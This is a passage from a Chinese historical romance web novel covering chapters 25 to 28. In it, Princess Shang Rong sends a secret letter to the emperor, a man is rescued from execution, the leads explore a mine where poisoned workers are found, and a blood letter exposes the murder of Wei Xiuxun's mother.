宫文甫此人原是一朝宰相，文采绝世，在文坛上颇有名望，只是后来功成名就后便隐退安平辰晖山，不问政事。尚容对此人有些了解，不仅因为此人名望，还因其颇有风骨，是这世间难得的忠臣。
提及国事，想必这样的人不会推辞她的请求。
尚容深知若在平日，她一纸书信便可传至京都，然则图纸消息走漏一事的背后永嘉帝身边的暗棋不言而喻，要想万无一失便只能试着将书信亲手交到帝王手中。
此事不仅事关薛府，更事关靖国上下无数百姓，她必须慎之又慎。
以免打草惊蛇，尚容回薛府后便换了一身男子装束，在韶淳的帮助下翻墙而出，又在集市上买了两匹快马直往安平而去。
一路上尚容总觉得四周有些细碎的声响，便望着韶淳轻声道：“你可有听到什么动静？”
韶淳微微愣了了一
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下，随即很快思绪回笼：“殿下不必担心，是主君派的暗卫。”
尚容舒了一口气：“他还在纪阳？”
韶淳颔首：“主君说纪阳有他守着，殿下安心做自己的事便可。”
尚容一时出神，轻声道：“好。”
安平离纪阳不过两日路程，尚容与韶淳快马加鞭不眠不休，一日后便抵达了辰晖山脚下。
尚容抬眸，只觉辰晖山山势险峻，高耸入云，似一道卧于安平的巨型天险，仅远观便可令人望而生畏。
“殿下要找的人如今在这辰晖山上吗？”韶淳问道。
“本宫不知。”
尚容眸色微沉。这一次，她是真的不知。她只听闻十四年前宫先生隐居于辰晖山，却不知他近日行迹，或许他已然出山前往京都，但如今她别无他法，唯有一搏。
辰晖山的夜冷入骨髓，尚容能感觉到自己的身体微微发颤，但她不曾停下，待远远望见山巅上的古院之时已近黎明，天际逐渐破晓。
古院内有一少年恰好推门而出，与尚容四目相对，随即仔细地打量起面前的人来。
少年见面前人一身素白长袍，肌肤胜雪，脸颊又因极寒的天气冻得微微透红，更生几分明艳，活脱脱的一个玉面公子。
他收回目光，心生警惕：“请回吧。”
“烦请告知宫先生，我有事关国本之事寻他。”尚容眼神坚毅。
“事关国本之事？”少年差点没笑出声来，嘟囔道，“和你一样寻上山顶的也有七八个了，个个都打着这般旗号，也不能换个说辞。”
话音未落，尚容眼眸含光，低头从衣袖中取出一块凤纹玉佩递到少年手中：“烦请将这块玉佩送到宫先生手中，他会见我的。”
少年仔细观赏着手中的凤纹玉佩，抬眸见尚容眼神笃定不似作伪，缓缓开口：“那好吧，我只负责将玉佩带到，至于先生是否愿意见你我无法左右。”
“多谢。”
片刻后，少年走到尚容身前：“先生请你进去。”
尚容在少年的带领下穿过长廊行至东侧房间外，只见房门敞开，屋内一人背身而坐，此时似听得几分动静立起身来转身看她。
宫文甫一身深青色长衫，极朴极简，却自成一番文人风骨，令尚容心生敬仰。
然而宫文甫的反应却出乎尚容的意料。
他的目光落在自己身上不曾移开，眼眶微微有些泛红，良久敛去了些许神色道：“方才见殿下的凤纹玉佩，不知殿下寻宫某有何要事？”
“本宫听闻先生是此次春闱的主考官，不日便会动身前往京城，这封信还请先生务必亲手交于父皇手中。”尚容薄唇微启。
“不知这信……”宫文甫迟疑片刻道。
“宫先生的为人本宫自然是信得过的。”尚容浅笑道。
“近日纪阳知府薛大人入狱一事疑云密布，本宫怀疑此事背后是南义教作祟，父皇身边极有可能已然出现了细作，是以还请先生将书信和其中画像亲手交到父皇手中，请父皇圣裁。”
25. 劫法场
“南义教竟又蠢蠢欲动了。”宫文甫的眸色逐渐暗沉，眉头紧锁，随即抬眸，“既如此殿下放心，宫某即刻动身，必将书信亲手交到陛下手中。”
“那便多谢宫先生了。”
尚容浅笑颔首，随即欲转身离去，却听得背后宫文甫缓缓开口。
“十数年不见，殿下长得与先皇后愈发相像了，就连脾性也是一模一样。”
尚容转身：“先生似乎对母后很是熟悉。”
宫文甫不予置否，望着尚容长叹了一口气：“先皇后在文学上颇有造诣，早年间曾拜宫某为师，只可惜年纪轻轻……”
尚容不曾料到母后竟与宫文甫之间还有这层关系，难怪方才宫文甫望着自己眼眶微红，原是思及故人。如此说来，她还应唤宫文甫一声师公。
尚容微微垂眸，她记得宫文甫辞官归隐是在十四年前，也就是她四岁那年。巧的是，那一年也正是母后崩世的一年，这其中或许有什么关联。
“宫先生，母后崩世的那一年本宫年幼，有些事知晓得并不完全，待回京之后必登门拜访。”
宫文甫颔首道：“宫某等殿下。”
下山后，尚容和韶淳即刻启程回纪阳。将近纪阳之时，尚容远远望见数不胜数的百姓自城门而出，个个背负行囊，似是要出远门。
“公子，看你衣着整洁，是个有钱人，怎得这个时候还犯糊涂往纪阳去啊？”老妪道。
声声入耳，尚容心头一沉。
她定了定神，道：“请问出什么事了？”
老妪面露惊讶，压低了音量：“公子不知道啊？原纪阳知府薛大人犯了贪污受贿，草菅人命的重罪，今日就要在东市斩首了，只是这新上任的也不是什么好官，日后纪阳百姓的日子怕是难过喽！”
“斩首？”尚容眉头紧蹙，额间沁着几滴汗珠，“何时斩首？”
“午时斩首，想是还有不到半柱香的功夫了。”
“多谢。”尚容来不及多想，手握缰绳，策马而去。
尚容原料翁翔不会这么快动薛淮齐，只因若如她所料翁翔是南义教的人，那只要薛淮齐手中铜铁矿的图纸还在，薛淮齐对南义教便还有用处，翁翔自不会下毒手。
而如今，一切都比她想象中进展得快了许多，唯一合理的解释便是翁翔已经拿到了想要的东西，薛淮齐对其无用。
尚容抵达东市之时已至午时，刑场四周人头攒动，其中不少百姓都拿着菜篮向身着囚衣，脸色蜡黄的薛淮齐扔去，尚容不禁心头一紧。
百姓挡住了主路，尚容骑马无法进入，只得下马步行。
“午时已到，行刑！”翁翔高喝道。
“不要……”尚容眼眶微微红了，她用尽力气挤入人群，却见签已落地，立着的大汉手握大刀向薛淮齐而去。
就在此时，一群地痞打扮的人径直冲上刑场，直冲薛淮齐而去。
翁翔似是不曾料到竟有人敢劫法场，顿时大惊失色，连忙高喝官兵上前，却见地痞救下薛淮齐后也不恋战，直接退了出去。官兵紧随其后，片刻后却又回到了刑场，想来是跟丢了人。
尚容长舒了一口气，悬着的心总算落了地。但她知晓薛淮齐被人救走，翁翔自不会善罢甘休，当务之急是要尽快回到薛府，不能叫人看出破绽对薛府不利。
“我们回薛府。”尚容侧身道。
“是，殿下。”
果然不出尚容所料，她刚入薛府还未换下男子装扮，翁翔便登门拜访。
“不知长公主殿下所在何处？”翁翔四处张望，笑道。
邵筠丝毫不惊，应道：“殿下方才用完午膳，已然睡下了。”
“哦？是吗？”
翁翔笑容阴冷，径直上前几步，直往房门而去，被邵筠生生拦住。
“殿下贵为皇族血脉，此处又是家宅内院，翁大人一个外男未经允许贸然闯入怕是不妥吧。”邵筠眉眼间染了几分愠色，提高了音量。
翁翔后退了半步，却丝毫没有要走的意思，唇边挤出一丝冷笑：“薛夫人如此着急，莫非是殿下不在屋内？若是如此，殿下去了何处？”
邵筠眉头微蹙：“殿下的去留何事轮得到你一个小官置喙！”
翁翔似是料到不对，丝毫不恼，不顾邵筠阻挠上前就要推开房门，房门却从里面被打开。
“本宫用完午膳有些疲累方才小憩了片刻，不知翁大人前来所为何事？”
翁翔抬眸，见尚容一身描金曳地水袖百合裙，发髻微乱，脸露倦容，的确像是小憩片刻后的形态。
翁翔唇角笑意逐渐僵硬，欠身道：“下官也是被底下人气昏了头脑，扰了殿下雅兴殿下赎罪。”
尚容嘴角轻扬，眼神轻蔑：“哦？不知发生了何事竟令翁大人差点连礼数都顾不上了？”
“殿下当真不知？”翁翔退了一步，浅笑道。
尚容微微扬眉，毫不犹豫道：“本宫自是不知。”
“今日午时刑场，有人劫走了薛大人。”
“原来如此，只是翁大人恐怕是找错了人。”尚容勾了勾唇，荣曜秋菊，“翁大人若担心本宫徇私，本宫好好地站在这儿，大人大可放心。”
翁翔与尚容对视，眸色微沉：“下官自然相信殿下的为人，只是担心殿下手下人会乱来，殿下既这般说了，看来是下官多虑了。”
尚容微微侧身，笑容浅淡，令人看不分明眸中情绪：“既如此，本宫便不送大人了。”
“殿下好生歇息，下官告辞。”翁翔言罢欠身行礼，转身离去。
待翁翔走得远了，一旁的邵筠才上前挽住尚容的手腕，眉头紧锁着开了口：“真是好险……若是被他发现了破绽便不妙了。”
尚容望着邵筠，微微颔首：“我也不曾想到他们动作会这般快。说来那劫法场的人不是我的手下，可是姨夫的旧部？”
邵筠摇了摇头：“想来不是。”
尚容顿时心若明镜，勾了勾唇，眼底映着几分笑意：“那便是他的手笔了。”
或许是福至心灵，邵筠顿时明了尚容口中之人。她顿了一顿，关切道：“容儿，你去安平一道可还顺利？”
尚容颔首：“一切顺利，我已将书信交到宫先生手中，很
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快父皇便会收到消息派人支援。”
“那便好，那便好。”邵筠脸色憔悴，听罢抚了抚胸口，长长地舒了一口气。
是日夜里，尚容灭了满屋烛火只留床头一盏油灯却久久未眠，她命翠桃在窗边留了一道口子，便坐在床头小憩。
将至子夜之时，窗边传来一阵细碎的声响。尚容本就心中有事睡得极浅，听得动静后便掀开了眼帘，透过昏黄的光晕见魏修洵身着夜行衣，正坐在太师椅上望着自己。
“殿下知我要来？”
魏修洵手提桌上茶壶新沏了一杯茶送到唇边，眼尾微微上扬。
尚容不予置否：“你买通了守卫？”
魏修洵嘴角微噙，鼻梁一侧缀着的朱砂小痣随着笑意微微晃动：“殿下放心，薛大人如今安然无恙。”
尚容颔首：“想来图纸已然被人拿走了。”
“图纸被拿走不假，只是薛大人早有准备，重画了一张图纸，被拿走的图纸上的位置真假难辨，想必能拖延一些时间。”魏修洵道。
“那便好。”
尚容本以为魏修洵便要离去，抬眸却见其坐姿慵懒，并无离去之意，顿生几分预感。
“殿下可知这次出乎我预料的是何人？”
魏修洵微微直起身，与尚容对视，唇边流露出几分似有若无的笑意。
“我真的很好奇殿下是如何知晓今年春闱主考官的人选的。”
尚容心头一沉，知魏修洵还有后手便不曾开口。
“我记得圣旨下到纪阳的那一日恰好是殿下抵达纪阳的那一日，也就是说殿下在此之前便知晓了，是吗？”
方才一时情急，尚容不曾顾虑许多，只得赌上一赌。可如今回想她的所作所为，落入魏修洵眼中实在可疑。
然而尚容却丝毫不慌，只因她所经历的重活一事再无旁人经历过，魏修洵就算再怀疑也断然猜不到真相。
“本宫在京城自有人手传信，不然本宫也不得知晓。”
“是吗？”魏修洵把玩着手中的茶杯，挑了挑眉，声音低沉。
然则方才尚容表现得太过自然，令他挑不出一丝错处，纵然他将信将疑也只得作罢。
“如今情势危急，以防再有不测薛大人还是留在我那里更为安全，待圣旨到了之后我自会护送薛大人回府。”魏修洵起身欲离去。
“你便这般信我？”
魏修洵停下了脚步，微微侧身：“殿下说什么？”
尚容随即起身。有些事，她自今日回府后便思虑了很久，还是想不明白答案。
她缓缓开口：“我方才问你，为何这般信我？”
“南义教假传旨意一事眼下并无实证，不过只是我的猜测。劫法场乃是死罪，纵然你派人伪装成地痞模样，若我猜错了，日后自有人能将你挖出，届时你将百口莫辩。”
尚容见魏修洵走到自己身前，身体微微前倾，温热的呼吸散落，令她感受到几分似有若无的炙热。
他嘴角微微上扬，笑意缱绻，容色在昏黄的烛光的映衬下更显妖艳。
“那殿下会骗我吗？”
26. 下矿洞
尚容抬眸对上那双桃花眼，桃花眼风流，此时含着几分氤氲，愈发勾人。
魏修洵上前半步，此时二人距离近无可近，对方细微的神色变化都映入眼帘。
尚容定了定神，长吸了一口气：“你我既是盟友，我没有理由骗你。”
魏修洵见尚容眼神躲闪，雪色的脸颊上蒙上了一层淡淡的红晕，低头勾唇一笑。
他双手抱胸，语气慵懒：“那便好。若是我成了孤魂野鬼，自会夜夜入殿下的梦里，令殿下永远记得我。”
尚容微微愣住，一时不知魏修洵心中一天到晚都在想些什么。
“走了！”
言罢魏修洵走到窗边，翻窗离去。
之后一连五日，纪阳城内风平浪静，翁翔也再没有来过薛府。尚容派韶淳前往探查，发现翁翔早已没了踪迹。
魏修洵来信查得纪阳郊外的几处山头前几日疑似发现南义教手下的踪迹，但很快也如人间蒸发般再无影踪。
五日后，圣旨下达。
事情果然如尚容所料，翁翔手中的圣旨为真，但永嘉帝从未下过这般旨意。永嘉帝听闻此事后暴怒，下令要抓住南义教之人，甚至派遣部分御林军出皇城执行这次任务，其对南义教的重视可见一斑。
与此同时，永嘉帝还送来一封密函，密函中有一张图纸，上面用朱砂玉笔圈出了一座山头，标有西鸣山三字，尚容想来便是铜铁矿的具体位置了。
“如今矿内情况尚且不明，陛下命我暂领御林军下矿，殿下还是留在薛府更为妥当。”魏修洵斜靠在椅背上，薄唇轻抿。
“我与你同去。”
声声入耳，魏修洵侧过身来，长眉微微蹙起：“殿下何必以身犯险？”
尚容似是猜到他这般反应，微微抬眸，神色如常：“我并非以身犯险，而是如今局面，南义教不知去往何处，纪阳内无安全之处。既如此，不如与你们一起下矿。”
“我最近研究了一种迷香，本是为了研制梅兰轩的新品，说不定能派上用场。”
尚容见魏修洵神色缓和了些，但依旧眉头不展，似是心中还有顾虑。她淡然一笑：“魏三郎君可别忘了，我还有韶淳，还有你给的匕首，断不会出事。”
魏修洵知尚容心意已决，仔细回想她所说也觉不无道理，眼眸深沉：“既如此，殿下便与我们一道吧。只不过届时殿下跟在我身后，万万不能致自己于险境。”
尚容难得见到魏修洵这般正经的模样，勾唇道：“好。”
一个时辰后，众人抵达西鸣山脚下。此处山峦绵延，植被茂密，放眼望去不见尽头。
魏修洵命御林军兵分两路，自南北两处上山找寻矿洞位置。然而越往上走，越不见人烟，就连活物都很难见到了。
尚容右手握着银质暗纹匕首，环顾四周，神经紧绷不敢有丝毫松懈。
然而就在此时，尚容感觉自己脚下软绵绵的，好像踩到了什么东西，低头见脚下毛茸茸一团血肉模糊，皮肉外翻，似还有透明的蛆虫在上面蠕动，隐隐泛着恶臭。
尚容顿时感觉胸口泛起一阵恶心，太阳穴突突直跳，她强迫自己偏过头去，往前走了几步。
“怎么了殿下？”韶淳方才还不曾留意，这时才看见地上的一团血肉。
韶淳扶住尚容的小臂：“殿下第一次见这种东西也难免恶心，这山头果真有些怪异。”
魏修洵听得身后动静停下脚步转身，见尚容唇色微微泛白，额间碎发沾了汗珠贴在雪色的肌肤上，她攥住领口，似在极力忍耐平复心绪。
“殿下拿着。”
尚容低头，见是魏修洵缀在腰间的那只白玉镂雕双鱼香囊。甘松香香气淡雅，掩去了些许令人犯呕的血腥味，尚容一时觉得呼吸顺畅了不少。
韶淳一时微微发愣，只因在她的印象里此香囊乃是主君的贴身之物，从不离身。之前她心生好奇想要仔细观赏一番，还被罚了月钱，今日他却这般大方拱手送出。
看来主君对殿下着实不一般。韶淳没忍住嘴角微微上扬。
“好些了吗？”魏修洵低头轻声道。
尚容颔首，她知此时不是该停留的时候。她微微抬眸，余光却瞥见不远处的地面渗着几分干涸的血迹，血迹断断续续，却一路蔓延至丛林深处。
“那里有血迹，我们去那里看看。”
魏修洵道：“好。”
众人循着地上的血迹一路行走，见血迹于一处逐渐消失，再无可寻。
尚容眉头微蹙，她心知这显然不符合常理。
魏修洵亦觉得蹊跷，派人仔细搜查，将遮盖在地面上的断枝残叶清除后果然发现贴近山崖的一侧有个洞口，岩壁上隐约可见几处干涸的血迹。
魏修洵弯腰捡了一块碎石往里投掷，过了好一会才传来碎石与地面摩擦的声响。
“看来就是此处了。”魏修洵眸色渐深，转身对上尚容的目光，“我带人走在前面，殿下跟好了。”
尚容颔首，随即跟在魏修洵身后入了山洞。起初洞口十分狭窄，只能容纳一人侧身通过，走了大约半柱香的功夫视野逐渐开阔，通道内可容纳五六人并肩而行。
山洞内日光无法射入，故而一片漆黑，众人早有准备，皆手持火折，脚下路顿时分明。
尚容逐渐发觉岩壁的角落处散落着几处细碎的粉末，弯下腰顺着火光定睛一看见粉末多为黄褐色与灰褐色，闻之亦有特殊的金属气味。
“看来我们来对了。”尚容缓缓起身，似是想到什么，眉头微微蹙起。
“只是按理来说西鸣山的铜铁矿理应不曾开采过才是，而这些粉末却像是人为开采的印记。”
魏修洵神色一凛：“莫非是南义教的人拿到图纸之后经过一番探寻先一步开采了铜铁矿？”
尚容心知不乏有这种可能：“可我们进入山洞后并不曾听到其他声响？”
话音未落，尚容便听闻远处隐约传来几声凄厉的惨叫。
起初尚容还以为是自己的错觉，但随着声音逐渐变大直直钻入耳中，她便知山洞中确有旁人，如今看来很有可能就是南义教的人。
“那处有动静，过去看看。”
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众人循着惨叫声传来的方向深入山洞，很快叫声愈来愈响，脚步声也逐渐清晰了起来。
透过火光，尚容望见六七个黑衣人倒在不远处的地上痛苦挣扎，面目狰狞，地面上满是血迹，还有十数个发了疯似的向他们扑来。
“他们好像中了毒，所有人捂住口鼻！”尚容高声道，随即从衣袖中取出一块素帕捂住口鼻，右手死死攥住匕首。
魏修洵拔剑拦住黑衣人去路，躲过对方招式，招招狠辣正中命门，为首的黑衣人心脉寸断，很快倒地咽气。
尚容认出了为首的人，正是翁翔。
就在此时，两个黑衣人望见落单的尚容，对视一眼持刀而来。尚容很快察觉，却丝毫不乱，待对方走近挥动衣袖，白色粉末在空中飘浮，黑衣人踉跄片刻随即倒地。
“殿下没事吧？都怪我方才不曾留神，竟差点让人钻了空。”韶淳望着地上失去意识的黑衣人自责道。
尚容浅笑：“本宫无事。”
她抬眸见一旁魏修洵捂住口鼻往更深处而去，侧身道：“我们去那里看看。”
“好。”韶淳颔首。
待走进了些，尚容望见那些黑衣人痛苦挣扎之处的地面上不仅有未干涸的血迹，还有成片成片看上去散发着恶臭的腐烂泥浆，显然是有人有意将其放置在此处。
她回想起自己在山洞外踩到的那团皮肉，胸口顿时又泛起一阵恶心。
“看样子他们中了瘴气，这里应该还有其他人。”
魏修洵言罢跨过躺在地上动弹不得的黑衣人持剑往转角处走去。
“这里有人。”
尚容走过转角处，见地面上躺着三个身着布衣的男子，两个相对年长，另一个看上去不过二十出头模样。三人都以白布蒙面，却似失了深知，眼眸发白。
“他们好像中了南义教的金蚕蛊。”
尚容抬眸，见魏修洵的目光落在那年轻男子身上不曾移开，心中顿时明了。
“此地不宜久留，不如先将他们带回去救治。”
魏修洵回过神来，微微颔首。
众人出山洞后将三人安置，尚容察觉到从始至终魏修洵一改往日神色，眉头不展。
不知为何，尚容心中似也压了一块巨石，几乎喘不过气来。
她知晓此人对魏修洵的意义，如今他身中金蚕蛊，能否救活尚未可知，更不必指望他说出有用的线索了。
“矿洞一事确实蹊跷，三人身份还需查明。如今之计，只能试试能否救治了。”
“只能如此了。我找了他很久，若他不能恢复神智，线索便断了。”
魏修洵颔首，眼神有些失落。自相识以来，除了在围场负伤后坦露过往那一次，尚容不曾见过他这般模样。
尚容心情顿时也有些沉重，本不知如何开口，最终却还是心绪占了上风。
“都会好的，终有一天真相会大白于天下。”
魏修洵微微勾唇，含着血丝的桃花眼映着少女的娇容，声音夹杂着似有若无的沙哑。
“愿如殿下所言。”
27. 侯府阴
“殿下，主君方才派人来说三人身份已然查明。”韶淳靠在尚容身旁轻声耳语，欲言又止。
此时正是午时，薛府众人正坐在一起用午膳，邵筠见尚容似有要事，便笑道：“容儿，你若有事便先去忙罢，不用管我们。”
尚容侧身浅笑：“都是一家人无需避闲，韶淳你直说便是。”
“主君查得三人身份，那三人中较为年长的两人名唤王泓，李川，年轻的名唤段思钧，三人皆为纪阳本地人。王泓李川二人都是孤儿，段思钧母亲病逝，唯一的妹妹也与五年前走散，无其他亲人。”
“本宫知晓了。”
尚容颔首，随即微微侧身余光瞥见坐在外祖母身旁的薛芝一脸难以置信地盯着韶淳，双眸通红，眼眶含泪，着实反常。
尚容觉得奇怪，朱唇微启：“芝儿妹妹可是身子不适？”
薛芝摇了摇头，嘴角微微发颤，目光仍落在韶淳身上不曾移开。她逐渐起身，右手撑着桌面，似乎在借此支撑摇摇欲坠的身体。
“芝儿你怎么了？别吓我芝儿。”程锦华也察觉到薛芝此举反常，扶住她的小臂关切道。
薛芝艰难开口，眼角有泪滑落：“殿下……可否让这位姐姐再重复一遍……方才的话……”
尚容颔首，韶淳重复完毕，薛芝再也按捺不住内心的情绪：“殿下……段思钧是我的兄长……可否让我……见见他。”
尚容见薛芝形态不似有伪，顿时回想起姨母从前提过薛芝原也有亲人，只是五年前与亲人走散才无处可去，倒是与这段思钧的经历吻合。
“走吧，本宫带你去见见他。”
薛芝抬眸泪眼涟涟，欠身行礼，哽咽道：“多谢殿下……”
尚容引着薛芝到了安置三人的一处医馆，魏修洵斜靠在一旁见到尚容似是有些意外。
“今日怎么来了？”
“长话短说，这位薛芝姑娘是段思钧的妹妹，她想来看看兄长。”尚容道。
魏修洵微微抬眸，声音低沉：“段思钧的妹妹……可是五年前走散的那位？”
尚容颔首：“正是。”
“随我来。”
尚容和薛芝在魏修洵的带领下进入了一间房间，尚容望见段思钧躺在床榻上双目紧闭，毫无知觉，未被长袖遮盖的右手上白色的血管无声蔓延，几乎遍布了整只手。
薛芝不管不顾地扑了上去：“哥……哥……你睁眼看看我……我是素仪啊哥……”
“薛小姐，我们暂时对此蛊了解甚浅，为了你的安全，切莫离你兄长过近。”魏修洵道。
薛芝颔首，转身望着尚容与魏修洵，心绪逐渐缓和：“多谢殿下与魏公子救我兄长，只是此蛊果真无解法吗？”
“你先别着急，本宫识得一位懂蛊的苗月姑娘，如今人在京都，明日你们便与本宫一道启程，届时本宫会安排苗月姑娘救治。”尚容扶住薛芝的肩膀，道。
薛芝定了定神，望着尚容眼神坚毅：“我相信殿下。”
尚容抿唇一笑，眉头却依旧不展：“只是有一事本宫还要请教姑娘。”
“殿下于我和兄长有大恩，薛家亦于我有恩，薛芝定当知无不言。”
“据本宫所知，段母曾在晋安侯府做过乳母，曾与府中的玉姨娘交好，可有此事？”
声声入耳，薛芝神色紧绷，额间隐隐发汗，声音逐渐小了下去：“确有……此事。”
魏修洵右手微微攥紧，桃花眼似一泓幽静的深潭，令人看不清浅深。
尚容发觉薛芝神色有异。若是普通人听及此事本应答应得爽快，倒是这位薛姑娘眼神躲闪，神色紧绷，想是知道些什么。
“那姑娘可曾听得段母提起过玉姨娘亡故的事？”尚容试探道。
薛芝身体微微发颤，立在原地低下头不敢与尚容和魏修洵对视：“不……不曾……”
尚容抚了抚薛芝的肩胛，微微俯身与其对视，语气柔和：“你放心，本宫绝不会害你。玉姨娘亡故之事极为蹊跷，其中多有冤情，而你的母亲回乡当年便身亡，很有可能便是被奸人所害，姑娘若肯说出真相不仅是还玉姨娘一个公道，更是还母亲一个公道。”
薛芝缓缓抬眸，眼眶微红。
“这位魏公子便是玉姨娘之子，这些年他一直在查这件事，若姑娘知道些什么大可放心当着他的面说。”
薛芝双腿一软，跪倒在地：“求殿下，魏公子作主，我母亲她是被杀人灭口，被人害死的啊！”
魏修洵长眉紧蹙，眼眶微微润湿。
“母亲从京城逃回来的时候满身是血，奄奄一息……有人……断了她的舌头和她的双手……”薛芝情绪几乎崩溃，抽泣道，“让她说不出话，也写不了字……”
尚容侧身望见魏修洵右手抵着墙壁，桃花眼布满血丝，周身杀气弥漫。
尚容无法想象，这般残忍的手法是出自何人之手。段母安分守己，辛苦做工多年，便因撞见恶人恶行便要断送生机，这又是何道理！
“可是他们不知道……母亲在此之前便已写下血书……”薛芝从衣袖深处取出一块染了血，微微发黄的素帕递到尚容手中，“里面写的便是玉姨娘遇害的真相。”
尚容低头，见血书上血迹已然暗沉发黑，上面详细写了晋安侯主母尹氏如何挑拨晋安侯与玉姨娘关系，后尹氏设计诬陷玉姨娘失贞，晋安侯暴怒之下命人将其活埋的经过。
尚容一个外人见血书亦觉字字入骨，如见暴行呼吸困难，想来魏修洵此时定当心如刀绞。
但与不得结果相比，他一定更渴望知晓真相，渴望真想大白于天下，母亲于九泉之下瞑目，恶人受到报应的那一天吧。尚容心想。
出乎尚容所料，魏修洵却笑了，笑意轻蔑却冷入骨髓，声音更似泣血，令尚容不禁心头一颤。
“母亲……你终究是爱错了人。”
魏修洵脸色阴沉，右手死死紧握，修理整齐的指甲由于过度用力浅嵌入手心皮肉，微微渗血。
“该偿命的……偿命。”
是日回薛府后尚容心中一直惴惴不安，将近黄昏才见韶淳回府。
“如何了？”尚容问道。
“主君让我告知殿下铜铁矿秘密开采原是勇宁侯的手笔，这些人都是被
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抓来做苦力的，勇宁侯垮台后，管事的也逃了，这些人为谋生计便继续开采矿石。”
“我知晓了。”尚容微微颔首，抬眸见韶淳没有再开口的意思，道，“没有其他话了？”
韶淳摇了摇头，神色没了平日里的玩笑：“今日的事对主君冲击很大，主君回去喝了不少酒，也没对我吩咐别的事了。”
不知为何，尚容总觉今日胸口发闷，有些心神不宁。她抬头望见天空灰蒙蒙一片，似是要落雪了。
“殿下，祖母让我唤你一道用晚膳。”薛文朗走到尚容身旁，道。
就在这一刻，尚容好似下定了决心。她转身对着薛文朗道：“表哥，有劳你和祖母说一声，我出去一趟，便不在家中用膳了，你们不必等我。”
“殿下……”
薛文朗立在原地，望见几片雪花顺着冬风缓缓飘落，尚容转身离去的背影逐渐消失在视线之中。
尚容回到医馆，却不见魏修洵踪影，询问之后才得知他半个时辰前便离开了。
这下韶淳也急了：“殿下你说在纪阳主君还会去哪儿啊？”
尚容陷入沉思，或许是福至心灵，她回想起迎冬夜魏修洵带自己去的那家酒楼。
“我想到一个地方。”
尚容刚刚迈入酒楼，便见长青候在楼下，她便知自己赌对了。
“他人呢？”尚容长舒了一口气，问道。
“主君在楼上，吩咐了不让人打扰。”长青应道。
尚容一时不禁佩服这侍卫的心是真大，她默声不语转身上了二楼，二楼雅间大多房门大开空无一人，唯有西侧的一间房门紧闭。
她走到门口之时，里面人似是听得几分动静。
“长青，不是让你守在楼下吗？”
尚容察觉到他相比往日多了几分沙哑，似是酒意上头有些微醺。
尚容推门而入，见魏修洵微微侧身。他着一身素袍，长发散落，脸颊因微醺的酒意染上了几分烟霞，桃花眼微微眯着，似闭未闭。
竟是躲起来一个人蹉跎了。尚容心想。
“殿下……”魏修洵视线有些模糊，却依旧认出了尚容，吃力地勾了勾唇道，“殿下怎么来了？”
尚容坦然一笑，走到魏修洵身旁坐下后便拿了一只白玉杯倒酒：“来讨杯酒喝。怎么……不欢迎？”
魏修洵眼尾微微上扬，眼神有些迷离，言语之间一杯酒便又入了喉：“殿下来自然是欢迎的。今日我包了这儿二楼的雅间，殿下放心，酒管够。”
“你的香囊，我先前忘了还给你。”尚容取下白玉镂雕双鱼香囊递到魏修洵手中，神色逐渐有些严肃。
“魏修洵，和我说说吧，她是一个怎么样的人？”
尚容微微侧目，见魏修洵唇角的笑意逐渐凝固。他放下手中的香囊，望着窗外的夜幕，不知在想些什么。
“殿下，其实她的一生很短，也没有太多特别的事。如果要说，对她而言可能是遇上这个负心人，和成婚的那晚吧。”
魏修洵的笑意满是讽刺，眼神冷若冰霜：“还有……便是她生命的最后一日。”
28. 不自禁
尚容静静地望着魏修洵，只觉得胸口隐隐发闷，想要开口却觉得所有言语在此时此刻都显得太过无力。
“母亲是个很温柔的人，我印象里不管何时都挂着一张笑脸。那时候他与母亲生了嫌隙，一年难得来两回，母亲也丝毫不怨，反而对我和姐姐说是他太忙了，我们应该体谅他，过好自己的日子便好。”
魏修洵勾了勾唇，提起母亲桃花眼少了几分凌厉，多了几分温情。
“母亲的月钱不多，但她每两个月都会命手下人从她两个月的月钱里拿出一半去施粥。她说这世上可怜人很多，她能做一点便是一点。”
尚容神色微动，垂眸：自己处境尚且艰难仍想着帮助他人不求回报，确实是位值得尊敬的女子。
“其实殿下今日来此，我有些意外。”
尚容见魏修洵把玩着手中的月光杯，转过身来与自己对视。他唇角似勾非勾，笑意浅淡，却目光灼灼，似情意正浓。
尚容感觉情绪微乱，好似心头被烫到了一般。她下意识地饮了一杯酒，定了定神，怅然一笑：“本宫只是不想你一个人在这儿醉生梦死罢了。”
“无论如何，都要多谢殿下了。”魏修洵嘴角微噙，笑意慵懒，随即将杯中琼浆一饮而尽。
尚容觉他一身酒气，声音微哑，夹杂着微醺的醉意，见他还要去拿酒壶上前握住他的手腕，柔声道：“魏修洵你喝多了，别喝了。”
魏修洵感受到手腕处有些灼热，微微愣住，随即抬眸温言软语：“只今日……这一回。”
“酒入愁肠愁更愁。”尚容夺过酒壶放到自己身旁，“饮酒伤身，听我的，到此为止。时候不早了，我送你回医馆吧。”
魏修洵微微勾唇，吃力起身却觉酒意上头头晕目眩，身体摇摇晃晃不受控制。
尚容见他踉跄连忙上前扶住他的腰。尚容起初不知他醉成这个样子究竟喝了多少，但当余光瞥见一旁立着的七八个空酒壶时她算是明白了。
也亏他酒量不错，不然早就毫无意识，烂醉如泥了。尚容心想。
“和殿下说完……我好多了。”魏修洵勾唇一笑，望着尚容醉眼朦胧。不知为何，他总觉胸口有些灼热，他吃力压抑，却觉一团火越烧越烈。
尚容见魏修洵脸颊渗着微醺的红晕，眼睑微垂，却望着自己也觉有些不对。
“你怎么了？”行至台阶，尚容怕他身子不稳一个踉跄倒下去，覆在他腰际的手便收得更紧了些。
魏修洵呼吸微促，声音沙哑：“无事……”
尚容也没多想，小心扶着魏修洵下了台阶，抬眸便见长青起身立在一旁眼神呆滞。反观一旁的韶淳似笑非笑，像在看好戏似的。
“韶淳，来帮我一下。”
“好。”韶淳这才反应过来，上前扶住魏修洵的手臂。
去往医馆的一路上，魏修洵似是睡得有些沉了，不发一言格外安静。待到了医馆，尚容命人煮了碗醒酒汤给他服下。
她见外面夜幕已至，天色已晚，她也不能在此处多留了。
“长青，天色已晚我不便多留，他今日喝了不少还要你上心些。”
长青欠身应道：“殿下放心，照顾主君本就是长青的本分。”
尚容微微颔首，侧身望了一眼躺在床榻上双眸紧闭的魏修洵，道：“韶淳，我们走吧。”
回去的一路上，尚容不曾说话，还是韶淳按捺不住先开了口。
“殿下，你今日好像对主君格外关心。”
尚容侧目，见韶淳似笑非笑地看着自己，随意道：“有吗？”
韶淳顿时来了劲：“有啊！从前殿下提起主君大多都是为了合作上的事，更多是主君来请殿下。但是今日不同，主君不曾请殿下过去，可是殿下却有些心神不宁，主动去找主君的。”
